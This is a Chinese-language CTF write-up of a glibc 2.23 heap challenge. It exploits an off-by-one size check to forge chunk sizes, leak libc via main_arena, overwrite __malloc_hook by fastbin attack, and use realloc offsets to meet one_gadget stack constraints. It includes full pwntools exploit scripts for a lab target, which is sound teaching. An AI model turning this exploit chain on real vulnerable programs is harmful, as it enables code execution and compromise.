这道堆题比较简单 涉及到的知识点以往的文章都有介绍到 但是最后打malloc_hook的时候由于栈不满足onegadget的条件 所用到的realloc_hook的办法值得拿出来说一说
checksec看一下 保护机制全开
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/home/chen/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
ida看一下伪代码
main函数很常规 就基于菜单题实现的堆
__int64 __fastcall main (__int64 a1, char **a2, char **a3) { int v4; sub_AD0(a1, a2, a3); while ( 1 ) { menu(); v4 = recv_data(v4); switch ( v4 ) { case 1 : create(); break ; case 2 : puts ("Tell me the secret about you!!" ); edit(); break ; case 3 : delete(); break ; case 4 : show(); break ; case 5 : return 0LL ; default : puts ("Wrong try again!!" ); break ; } } }
重点抓edit函数和delete函数出来说 另外这题创建chunk用的是calloc函数 创建chunk的时候会清空chunk内容 使其为0
__int64 sub_E82 () { int v1; int v2; int v3; unsigned int v4; printf ("index: " ); v2 = recv_data(v1); v3 = v2; if ( v2 >= 0 && v2 <= 15 ) { v2 = *(&chunk_judge + 4 * v2); if ( v2 == 1 ) { printf ("size: " ); v2 = recv_data(1 ); v4 = compare(*(&chunk_size + 4 * v3), v2); if ( v2 > 0 ) { printf ("content: " ); v2 = recv_data2(chunk_point[2 * v3], v4); } } } return v2; }
根据输入的index来索引bss段数组 如果该index有对应的chunk(即chunk_judge判断成功) 则输入size
在edit函数输入的size和create chunk时输入的size二者作为compare函数的参数 跟进看一下用来干什么
__int64 __fastcall sub_E26 (int a1, unsigned int a2) { __int64 result; if ( a1 > a2 ) return a2; if ( a2 - a1 == 10 ) LODWORD(result) = a1 + 1 ; else LODWORD(result) = a1; return result; }
当edit_size-create_size=10时 可以供我们多输入一个字节 那么利用四舍五入的机制 就可以做到溢出9个字节
delete函数:
__int64 sub_F8E () { int v0; int v2; int v3; __int64 v4; printf ("index: " ); v0 = recv_data(v3); v4 = v0; v2 = v0; if ( v0 >= 0LL && v0 <= 15LL ) { v4 = *(&chunk_judge + 4 * v0); if ( v4 == 1 ) { *(&chunk_judge + 4 * v0) = 0 ; *(&chunk_size + 4 * v0) = 0 ; free (chunk_point[2 * v0]); chunk_point[2 * v2] = 0LL ; } } return v4; }
指针置零了 不存在uaf漏洞
那么合计一下思路 可以利用覆写chunk size来合并chunk 从而获得free_chunk的指针 这样就可以泄露main_arena的真实地址 从而计算处真实地址
from pwn import *io = process("./pwn" ) context.log_level = "debug" elf = ELF("./pwn" ) libc = ELF("buu16_64.so" ) def add (size ): io.recvuntil("choice: " ) io.sendline(b'1' ) io.recvuntil("size: " ) io.sendline(str (size)) def edit (index,size,content ): io.recvuntil("choice: " ) io.sendline(b'2' ) io.recvuntil("index: " ) io.sendline(str (index)) io.recvuntil("size: " ) io.sendline(str (size)) io.recvuntil("content: " ) io.sendline(content) def delete (index ): io.recvuntil("choice: " ) io.sendline(b'3' ) io.recvuntil("index: " ) io.sendline(str (index)) def show (index ): io.recvuntil("choice: " ) io.sendline(b'4' ) io.recvuntil("index: " ) io.sendline(str (index)) io.recvuntil("content: " ) add(0x18 ) add(0x68 ) add(0x68 ) add(0x20 ) payload = cyclic(0x10 +8 )+b'\xe1' edit(0 ,0x18 +10 ,payload) delete(1 ) add(0x68 ) show(2 ) main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) success(hex (main_arena_addr)) libc_addr = main_arena_addr - (0x7ff4f33beb78 -0x7ff4f2ffa000 ) success(hex (libc_addr))
这样我们获得了一个free chunk的指针 即chunk2
可以用其修改fd域 从而获得任意地址写的机会 因为libc版本是2.23 所以这里用malloc_hook_attack
add(0x68 ) delete(4 ) malloc_hook = libc_addr + libc.sym['__malloc_hook' ] edit(2 ,8 ,p64(malloc_hook-0x23 )) add(0x68 ) add(0x68 ) onegadget_addr = libc_addr + 0x4526a realloc_addr = libc_addr + libc.sym['realloc' ] success(hex (malloc_hook)) payload = cyclic(0x13 )+p64(onegadget_addr) edit(5 ,len (payload),payload) add(0x10 ) io.interactive()
按理来说这道题到这里就结束了 但是你会发现几个onegadget都不行 这是因为onegadget所要求的栈空间并不满足的问题
这时候两种办法 一种是hgame2023的一题中利用到的double free也能触发malloc_hook 详细解释和手法可以去看我对应的wp
还有一种办法是利用realloc来实现 下面详细介绍一下
realloc函数是用于重新分配之前被分配过的chunk空间 其也有realloc_hook 并且也类似于malloc_hook 如果不为0则调用
关键在于两点 一是realloc_hook和malloc_hook相邻 也意味着我们可以同时修改二者
第二点在于realloc调用的时候会进行大量的push操作
.text:00000000000846C0 public realloc .text:00000000000846C0 realloc proc near ; CODE XREF: _realloc↑j .text:00000000000846C0 ; DATA XREF: LOAD:0000000000006BA0↑o ... .text:00000000000846C0 .text:00000000000846C0 var_60 = qword ptr -60h .text:00000000000846C0 var_58 = byte ptr -58h .text:00000000000846C0 var_48 = byte ptr -48h .text:00000000000846C0 .text:00000000000846C0 ; __unwind { .text:00000000000846C0 push r15 ; Alternative name is '__libc_realloc' .text:00000000000846C2 push r14 .text:00000000000846C4 push r13 .text:00000000000846C6 push r12 .text:00000000000846C8 mov r13, rsi .text:00000000000846CB push rbp .text:00000000000846CC push rbx .text:00000000000846CD mov rbx, rdi .text:00000000000846D0 sub rsp, 38h .text:00000000000846D4 mov rax, cs:__realloc_hook_ptr .text:00000000000846DB mov rax, [rax] .text:00000000000846DE test rax, rax .text:00000000000846E1 jnz loc_848E8 .text:00000000000846E7 test rsi, rsi .text:00000000000846EA jnz short loc_846F5 .text:00000000000846EC test rdi, rdi .text:00000000000846EF jnz loc_84960
所以可以修改我们的栈空间 使其符合条件(如果可以的话)
我们先使用gdb动调看一下 onegadget的条件没有被满足时 对应的栈空间
调试exp:
from pwn import *io = process("./pwn" ) context.log_level = "debug" elf = ELF("./pwn" ) libc = ELF("buu_libc_ubuntu16_64" ) def add (size ): io.recvuntil("choice: " ) io.sendline(b'1' ) io.recvuntil("size: " ) io.sendline(str (size)) def edit (index,size,content ): io.recvuntil("choice: " ) io.sendline(b'2' ) io.recvuntil("index: " ) io.sendline(str (index)) io.recvuntil("size: " ) io.sendline(str (size)) io.recvuntil("content: " ) io.sendline(content) def delete (index ): io.recvuntil("choice: " ) io.sendline(b'3' ) io.recvuntil("index: " ) io.sendline(str (index)) def show (index ): io.recvuntil("choice: " ) io.sendline(b'4' ) io.recvuntil("index: " ) io.sendline(str (index)) io.recvuntil("content: " ) add(0x18 ) add(0x68 ) add(0x68 ) add(0x20 ) payload = cyclic(0x10 +8 )+b'\xe1' edit(0 ,0x18 +10 ,payload) delete(1 ) add(0x68 ) show(2 ) main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) success(hex (main_arena_addr)) libc_addr = main_arena_addr - (0x7ff4f33beb78 -0x7ff4f2ffa000 ) success(hex (libc_addr)) add(0x68 ) delete(4 ) malloc_hook = libc_addr + libc.sym['__malloc_hook' ] edit(2 ,8 ,p64(malloc_hook-0x23 )) add(0x68 ) add(0x68 ) onegadget_addr = libc_addr + 0x4526a realloc_addr = libc_addr + libc.sym['realloc' ] success(hex (malloc_hook)) payload = cyclic(0xb +0x8 )+p64(onegadget_addr) edit(5 ,len (payload),payload) gdb.attach(io,'b *$rebase(0xccc)' ) add(0x10 )
此时断点打在calloc函数调用时 我们一步步s下去
此时进行了一个逻辑与操作 如果rax寄存器的值为0 那么逻辑与的结果为1
而jne指令当ZF零标志为0的时候 则会跳转 此时rax的值是一个地址 所以会执行jne跳转 我们继续跟进
此时call rax 再次跟进
这一步也就是onegadget判断栈结构的关键了 可以看到esp+0x30处并不等于NULL 所以onegadget执行失败
那么为什么我们改良后 通过realloc来调整栈结构的payload是
cyclic(0xb )+p64(onegadget_addr)+p64(realloc_addr+2 )
我们来看看malloc_hook内存地址附近的情况
可以看到往低地址偏移0x8处是realloc_hook 这也就意味着如果我们按照上面的payload覆写 那么此时程序的执行流程为
因此凭借着readlloc在执行前会进行的push入栈操作 可以实现栈结构调节
不过由于本地和远程以及许多因素 建议还是直接试realloc_addr+x的偏移
完整exp:
from pwn import *io = process("./pwn" ) context.log_level = "debug" elf = ELF("./pwn" ) libc = ELF("buu_libc_ubuntu16_64" ) def add (size ): io.recvuntil("choice: " ) io.sendline(b'1' ) io.recvuntil("size: " ) io.sendline(str (size)) def edit (index,size,content ): io.recvuntil("choice: " ) io.sendline(b'2' ) io.recvuntil("index: " ) io.sendline(str (index)) io.recvuntil("size: " ) io.sendline(str (size)) io.recvuntil("content: " ) io.sendline(content) def delete (index ): io.recvuntil("choice: " ) io.sendline(b'3' ) io.recvuntil("index: " ) io.sendline(str (index)) def show (index ): io.recvuntil("choice: " ) io.sendline(b'4' ) io.recvuntil("index: " ) io.sendline(str (index)) io.recvuntil("content: " ) add(0x18 ) add(0x68 ) add(0x68 ) add(0x20 ) payload = cyclic(0x10 +8 )+b'\xe1' edit(0 ,0x18 +10 ,payload) delete(1 ) add(0x68 ) show(2 ) main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) success(hex (main_arena_addr)) libc_addr = main_arena_addr - (0x7ff4f33beb78 -0x7ff4f2ffa000 ) success(hex (libc_addr)) add(0x68 ) delete(4 ) malloc_hook = libc_addr + libc.sym['__malloc_hook' ] edit(2 ,8 ,p64(malloc_hook-0x23 )) add(0x68 ) add(0x68 ) onegadget_addr = libc_addr + 0x4526a realloc_addr = libc_addr + libc.sym['realloc' ] success(hex (malloc_hook)) gdb.attach(io) payload = cyclic(11 )+p64(onegadget_addr)+p64(realloc_addr+2 ) edit(5 ,len (payload),payload) add(0x10 ) io.interactive()